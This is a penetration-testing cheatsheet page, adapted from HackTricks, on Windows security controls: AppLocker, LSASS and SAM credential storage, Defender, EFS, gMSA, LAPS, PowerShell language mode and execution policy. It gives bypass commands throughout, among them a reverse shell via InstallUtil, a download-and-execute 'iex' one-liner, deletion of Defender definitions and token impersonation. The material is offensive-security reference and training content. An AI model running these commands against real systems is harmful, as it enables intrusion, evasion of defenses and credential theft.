repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
authentication-credentials-uac-and-efs.mdMarkdown294 lines17.5 KiBsource raw download

title: "Windows Security Controls" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/authentication-credentials-uac-and-efs.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/authentication-credentials-uac-and-efs.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Windows Security Controls#

AppLocker Policy#

An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.

AppLocker is Microsoft's application whitelisting solution and gives system administrators control over which applications and files users can run. It provides granular control over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.
It is common for organizations to block cmd.exe and PowerShell.exe and write access to certain directories, but this can all be bypassed.

Check#

Check which files/extensions are blacklisted/whitelisted:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

Test-AppLockerPolicy evaluates candidate files for a specific identity against an AppLocker policy. Test the account whose token will execute the payload because rules can target users or groups; Get-AppLockerFileInformation is also useful to inspect the path, hash, and publisher metadata on which rules may match.[5]

$policy = Get-AppLockerPolicy -Effective
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
Test-AppLockerPolicy -PolicyObject $policy -Path C:\Users\Public\payload.exe -User $user
Get-AppLockerFileInformation -Path C:\Users\Public\payload.exe | Format-List

This registry path contains the configurations and policies applied by AppLocker, providing a way to review the current set of rules enforced on the system:

Bypass#

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing

Credentials Storage#

Security Accounts Manager (SAM)#

Local credentials are present in this file, the passwords are hashed.

Local Security Authority (LSA) - LSASS#

The credentials (hashed) are saved in the memory of this subsystem for Single Sign-On reasons.
LSA administrates the local security policy (password policy, users permissions...), authentication, access tokens...
LSA will be the one that will check for provided credentials inside the SAM file (for a local login) and talk with the domain controller to authenticate a domain user.

The credentials are saved inside the process LSASS: Kerberos tickets, hashes NT and LM, easily decrypted passwords.

LSA secrets#

LSA could save in disk some credentials:

NTDS.dit#

It is the database of the Active Directory. It is only present in Domain Controllers.

Defender#

Microsoft Defender is an Antivirus that is available in Windows 10 and Windows 11, and in versions of Windows Server. It blocks common pentesting tools such as WinPEAS. However, there are ways to bypass these protections.

Check#

To check the status of Defender you can execute the PS cmdlet Get-MpComputerStatus (check the value of RealTimeProtectionEnabled to know if it's active):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

To enumerate it you could also run:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Encrypted File System (EFS)#

EFS secures files through encryption, utilizing a symmetric key known as the File Encryption Key (FEK). This key is encrypted with the user's public key and stored within the encrypted file's $EFS alternative data stream. When decryption is needed, the corresponding private key of the user's digital certificate is used to decrypt the FEK from the $EFS stream. More details can be found here.

Decryption scenarios without user initiation include:

This encryption method allows transparent access to encrypted files for the owner. However, simply changing the owner's password and logging in will not permit decryption.

Key Takeaways:

Check EFS info#

Check if a user has used this service checking if this path exists:C:\users\<username>\appdata\roaming\Microsoft\Protect

Check who has access to the file using cipher /c <file>
You can also use cipher /e and cipher /d inside a folder to encrypt and decrypt all the files

Decrypting EFS files#

Being Authority System#

This approach requires the victim user to be running a process on the host. If so, from a meterpreter session you can impersonate the user's process token (impersonate_token from incognito). Alternatively, you can migrate into the user's process.

Knowing the User's Password#

Mimikatz can import the user's certificate and private key, then use them to decrypt EFS-protected files.[2]

Howto ~ Decrypt Efs Files

Group Managed Service Accounts (gMSA)#

Microsoft developed Group Managed Service Accounts (gMSA) to simplify the management of service accounts in IT infrastructures. Unlike traditional service accounts that often have the "Password never expire" setting enabled, gMSAs offer a more secure and manageable solution:

The passwords for gMSAs are stored in the LDAP property msDS-ManagedPassword and are automatically reset every 30 days by Domain Controllers (DCs). This password, an encrypted data blob known as MSDS-MANAGEDPASSWORD_BLOB, can only be retrieved by authorized administrators and the servers on which the gMSAs are installed, ensuring a secure environment. To access this information, a secured connection such as LDAPS is required, or the connection must be authenticated with 'Sealing & Secure'.

https://cube0x0.github.io/Relaying-for-gMSA/[3]

You can read this password with GMSAPasswordReader:

/GMSAPasswordReader --AccountName jkohler

Find more info in this post[3]

Also, check this web page about how to perform a NTLM relay attack to read the password of gMSA.[3]

LAPS#

Distinguish legacy Microsoft LAPS from the native Windows LAPS implementation during enumeration. Windows LAPS shipped in the April 11, 2023 Windows updates and can back up a managed local administrator password to Windows Server Active Directory or Microsoft Entra ID. In AD-backed deployments it can additionally encrypt passwords, retain encrypted password history, and manage a domain controller's DSRM password. The downloadable legacy MSI is deprecated on newer Windows versions, although Windows LAPS can operate in legacy-emulation mode.[6]

Because legacy Microsoft LAPS and Windows LAPS are separate implementations, identify which one is deployed before applying attribute- or cmdlet-specific attacks. The linked page covers discovery, ACL enumeration, retrieval, expiration manipulation, and offline recovery without duplicating those procedures here.[6]

Laps

PS Constrained Language Mode#

PowerShell Constrained Language Mode locks down many of the features needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more.

Check#

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Bypass#

#Easy bypass
Powershell -version 2

In current Windows that Bypass won't work but you can use PSByPassCLM.
To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll and change the project to .Net4.5.

Direct bypass:#

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Reverse shell:#

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

You can use ReflectivePick or SharpPick to execute Powershell code in any process and bypass the constrained mode. For more info check: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.[1]

PS Execution Policy#

By default it is set to restricted. Main ways to bypass this policy:[4]

1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

More can be found here[4]

Security Support Provider Interface (SSPI)#

Is the API that can be use to authenticate users.

The SSPI will be in charge of finding the adequate protocol for two machines that want to communicate. The preferred method for this is Kerberos. Then the SSPI will negotiate which authentication protocol will be used, these authentication protocols are called Security Support Provider (SSP), are located inside each Windows machine in the form of a DLL and both machines must support the same to be able to communicate.

Main SSPs#

The negotiation could offer several methods or only one.#

UAC - User Account Control#

User Account Control (UAC) is a feature that enables a consent prompt for elevated activities.

Uac User Account Control

References#